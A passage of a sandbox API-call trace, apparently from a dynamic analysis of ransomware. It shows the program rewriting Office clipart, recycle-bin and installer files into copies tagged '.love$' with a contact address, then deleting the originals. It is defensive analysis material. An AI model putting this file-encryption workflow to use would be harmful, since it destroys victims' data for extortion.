office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.787] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.787] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.788] GetLastError () returned 0x0 [0123.788] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x386c, lpOverlapped=0x0) returned 1 [0123.854] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3870, lpOverlapped=0x0) returned 1 [0123.855] ReadFile (in: hFile=0x3a0, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.855] WriteFile (in: hFile=0x344, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.856] SetEndOfFile (hFile=0x344) returned 1 [0123.856] CloseHandle (hObject=0x344) returned 1 [0123.857] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.857] SetEndOfFile (hFile=0x3a0) returned 1 [0123.858] CloseHandle (hObject=0x3a0) returned 1 [0123.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0123.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.922] lstrlenW (lpString=".doc") returned 4 [0123.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.922] lstrlenW (lpString=".docx") returned 5 [0123.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.922] lstrlenW (lpString=".pdf") returned 4 [0123.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.922] lstrlenW (lpString=".xls") returned 4 [0123.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.923] lstrlenW (lpString=".xlsx") returned 5 [0123.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.923] lstrlenW (lpString=".ppt") returned 4 [0123.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.923] lstrlenW (lpString=".zip") returned 4 [0123.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.923] lstrlenW (lpString=".rar") returned 4 [0123.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.923] lstrlenW (lpString=".bz2") returned 4 [0123.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.923] lstrlenW (lpString=".7z") returned 3 [0123.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.923] lstrlenW (lpString=".dbf") returned 4 [0123.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.923] lstrlenW (lpString=".1cd") returned 4 [0123.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.923] lstrlenW (lpString=".jpg") returned 4 [0123.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.924] lstrlenW (lpString=".doc") returned 4 [0123.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.924] lstrlenW (lpString=".docx") returned 5 [0123.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.924] lstrlenW (lpString=".pdf") returned 4 [0123.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.924] lstrlenW (lpString=".xls") returned 4 [0123.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.924] lstrlenW (lpString=".xlsx") returned 5 [0123.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.924] lstrlenW (lpString=".ppt") returned 4 [0123.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.924] lstrlenW (lpString=".zip") returned 4 [0123.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.925] lstrlenW (lpString=".rar") returned 4 [0123.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.925] lstrlenW (lpString=".bz2") returned 4 [0123.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.925] lstrlenW (lpString=".7z") returned 3 [0123.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.925] lstrlenW (lpString=".dbf") returned 4 [0123.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.925] lstrlenW (lpString=".1cd") returned 4 [0123.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0123.925] lstrlenW (lpString=".jpg") returned 4 [0123.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.925] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.925] lstrlenW (lpString="BL00254_.WMF") returned 12 [0123.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0123.931] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1736) returned 1 [0123.931] CloseHandle (hObject=0x364) returned 1 [0123.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0123.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0123.932] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.932] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.933] GetLastError () returned 0x0 [0123.933] ReadFile (hFile=0x364, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0) Thread: id = 16 os_tid = 0xfe8 [0093.456] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3851238 [0093.457] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3861240 [0093.457] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50acd0 [0093.457] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d1e0 [0093.457] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ace8 [0093.457] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3b19020 [0093.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b0c0 [0093.461] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b0c0, Size=0x20) returned 0x4eebd8 [0093.461] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50b018 [0093.461] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b018, Size=0x20) returned 0x4eeae8 [0093.461] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0093.461] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0093.462] Wow64DisableWow64FsRedirection (in: OldValue=0x30dff50 | out: OldValue=0x30dff50*=0x0) returned 1 [0093.462] lstrlenW (lpString="kernel32.dll") returned 12 [0093.462] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0093.462] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.462] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeae8 | out: hHeap=0x4b0000) returned 1 [0093.462] Sleep (dwMilliseconds=0x64) [0094.093] Sleep (dwMilliseconds=0x64) [0094.622] lstrcmpiW (lpString1=".ini", lpString2=".love$") returned -1 [0094.622] lstrlenW (lpString="desktop.ini") returned 11 [0094.622] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.623] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=129) returned 1 [0094.623] CloseHandle (hObject=0x2f4) returned 1 [0094.623] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0094.623] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.624] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.624] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.624] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.624] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0094.626] GetLastError () returned 0x0 [0094.626] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x81, lpOverlapped=0x0) returned 1 [0094.645] WriteFile (in: hFile=0x2d4, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x90, lpOverlapped=0x0) returned 1 [0094.647] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0094.647] WriteFile (in: hFile=0x2d4, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xea, lpOverlapped=0x0) returned 1 [0094.647] SetEndOfFile (hFile=0x2d4) returned 1 [0094.647] CloseHandle (hObject=0x2d4) returned 1 [0094.648] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.648] SetEndOfFile (hFile=0x2f4) returned 1 [0094.649] CloseHandle (hObject=0x2f4) returned 1 [0094.649] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x26) returned 1 [0094.650] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0094.650] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.650] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.650] lstrlenW (lpString=".doc") returned 4 [0094.650] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.650] lstrlenW (lpString=".docx") returned 5 [0094.650] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.650] lstrlenW (lpString=".pdf") returned 4 [0094.650] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0094.650] lstrlenW (lpString=".xls") returned 4 [0094.650] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0094.650] lstrlenW (lpString=".xlsx") returned 5 [0094.650] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0094.650] lstrlenW (lpString=".ppt") returned 4 [0094.651] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0094.651] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.651] lstrlenW (lpString=".zip") returned 4 [0094.651] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0094.651] lstrlenW (lpString=".rar") returned 4 [0094.651] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0094.651] lstrlenW (lpString=".bz2") returned 4 [0094.651] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.651] lstrlenW (lpString=".7z") returned 3 [0094.651] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.651] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.651] lstrlenW (lpString=".dbf") returned 4 [0094.651] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.651] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.651] lstrlenW (lpString=".1cd") returned 4 [0094.651] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.651] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.651] lstrlenW (lpString=".jpg") returned 4 [0094.651] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0094.651] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.651] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.651] lstrlenW (lpString=".doc") returned 4 [0094.651] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.651] lstrlenW (lpString=".docx") returned 5 [0094.651] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.651] lstrlenW (lpString=".pdf") returned 4 [0094.651] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0094.652] lstrlenW (lpString=".xls") returned 4 [0094.652] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0094.652] lstrlenW (lpString=".xlsx") returned 5 [0094.652] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0094.652] lstrlenW (lpString=".ppt") returned 4 [0094.652] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0094.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.652] lstrlenW (lpString=".zip") returned 4 [0094.652] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0094.652] lstrlenW (lpString=".rar") returned 4 [0094.652] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0094.652] lstrlenW (lpString=".bz2") returned 4 [0094.652] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.652] lstrlenW (lpString=".7z") returned 3 [0094.652] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.652] lstrlenW (lpString=".dbf") returned 4 [0094.652] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.652] lstrlenW (lpString=".1cd") returned 4 [0094.652] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0094.652] lstrlenW (lpString=".jpg") returned 4 [0094.652] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0094.652] Sleep (dwMilliseconds=0x64) [0096.565] Sleep (dwMilliseconds=0x64) [0097.025] Sleep (dwMilliseconds=0x64) [0097.376] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0097.376] lstrlenW (lpString="eula.rtf") returned 8 [0097.376] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0099.919] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3188) returned 1 [0099.919] CloseHandle (hObject=0x354) returned 1 [0099.919] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0099.919] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0099.920] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.920] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.920] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0099.920] GetLastError () returned 0x0 [0099.920] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xc74, lpOverlapped=0x0) returned 1 [0099.929] WriteFile (in: hFile=0x318, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xc80, lpOverlapped=0x0) returned 1 [0099.930] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0099.930] WriteFile (in: hFile=0x318, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0099.930] SetEndOfFile (hFile=0x318) returned 1 [0099.931] CloseHandle (hObject=0x318) returned 1 [0099.932] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.932] SetEndOfFile (hFile=0x354) returned 1 [0099.933] CloseHandle (hObject=0x354) returned 1 [0099.933] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.933] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0099.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.934] lstrlenW (lpString=".doc") returned 4 [0099.934] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.934] lstrlenW (lpString=".docx") returned 5 [0099.934] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.934] lstrlenW (lpString=".pdf") returned 4 [0099.934] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.934] lstrlenW (lpString=".xls") returned 4 [0099.934] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0099.934] lstrlenW (lpString=".xlsx") returned 5 [0099.934] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0099.934] lstrlenW (lpString=".ppt") returned 4 [0099.934] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.934] lstrlenW (lpString=".zip") returned 4 [0099.934] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0099.934] lstrlenW (lpString=".rar") returned 4 [0099.934] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.934] lstrlenW (lpString=".bz2") returned 4 [0099.934] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.934] lstrlenW (lpString=".7z") returned 3 [0099.934] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.934] lstrlenW (lpString=".dbf") returned 4 [0099.934] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.935] lstrlenW (lpString=".1cd") returned 4 [0099.935] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.935] lstrlenW (lpString=".jpg") returned 4 [0099.935] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0099.935] lstrlenW (lpString=".doc") returned 4 [0099.935] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.935] lstrlenW (lpString=".docx") returned 5 [0099.935] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.935] lstrlenW (lpString=".pdf") returned 4 [0099.935] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.935] lstrlenW (lpString=".xls") returned 4 [0099.935] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0099.935] lstrlenW (lpString=".xlsx") returned 5 [0099.935] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0099.935] lstrlenW (lpString=".ppt") returned 4 [0099.935] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.935] lstrlenW 